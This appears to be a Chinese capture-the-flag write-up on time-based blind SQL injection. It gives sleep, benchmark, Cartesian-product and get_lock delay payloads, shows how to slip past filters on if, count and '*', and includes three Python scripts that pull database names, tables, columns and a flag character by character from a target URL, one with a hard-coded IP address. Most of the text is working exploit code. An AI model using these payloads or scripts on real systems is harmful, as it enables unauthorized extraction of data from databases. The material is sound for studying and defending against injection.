?id=1' and if(ascii(substr(database(),1,1))=115,sleep(2),0) --+ 或者 ?id=1' and if(ascii(substr(database(),1,1))=115,benchmark(100000,(select database()),0) --+
1、笛卡尔乘积是一个数学运算。 假设我有两个集合 X 和 Y ,那么 X 和 Y 的笛卡尔积就是 X 和 Y 的所有可能组合,也就是第一个对象来自于 X ,第二个对象来自于 Y 的所有可能。组合的个数即为两个集合中元素个数的乘积数。 在数学中的定义:假设集合A={a, b},集合B={0, 1, 2},则两个集合的笛卡尔积为{(a, 0), (a, 1), (a, 2), (b, 0), (b, 1), (b, 2)}。
1
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C)
url = "http://52.80.179.198:8080/article.php?id=1' and %s and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)%%23" data = "" for i inrange(1,1000): for j inrange(33,127): #payload = "(ascii(substr((database()),%s,1))=%s)"%(i,j) #post #payload = "(ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s)" % (i, j) #article,flags #payload = "(ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flags'),%s,1))=%s)" % (i, j) #flag payload = "(ascii(substr((select flag from flags limit 1),%s,1))=%s)" % (i, j) payload_url = url%(payload) try: r = requests.get(url=payload_url,timeout=8) except: data +=chr(j) print data break
但是注意到*和count都被过滤了,if也被过滤了
这里可以使用
select 1‘ and (探测语句) and (延时语句)
绕过对if的过滤
笛卡尔积里面的count函数被过滤了可以使用sum函数求
使用sum(0)函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
import requests
url="" flag="" for i inrange(100): for j inrange(37,127): payload1="1' and %s and (select sum(0) from information_schema.columns A ,information_schema.columns B)#" payload2="(ascii(substr((database()),%s,1))=%s)"%(i,j) #payload2="(ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s)" % (i, j) #payload2="(ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flags'),%s,1))=%s)" % (i, j) #payload2="(ascii(substr((select flag from flags limit 1),%s,1))=%s)" % (i, j) payload={'id':payload1+payload2} try: r=requests.post(url,data=payload,timeout=2)#适当调整 except: flag+=chr(j) print(flag) break
# -*- coding: utf-8 -*- import requests import time url1 = "?id=1' and get_lock('skysec.top',1)%23" r = requests.get(url=url1) time.sleep(90) # 加锁后变换身份 url2 = "?id=1' and %s and get_lock('skysec.top',5)%%23" data = "" for i inrange(1,1000): print i for j inrange(33,127): #payload = "(ascii(substr((database()),%s,1))=%s)"%(i,j) #post payload = "(ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s)" % (i, j) #article,flags #payload = "(ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flags'),%s,1))=%s)" % (i, j) #flag #payload = "(ascii(substr((select flag from flags limit 1),%s,1))=%s)" % (i, j) payload_url = url2%(payload) try: s = requests.get(url=payload_url,timeout=4.5) except: data +=chr(j) print data break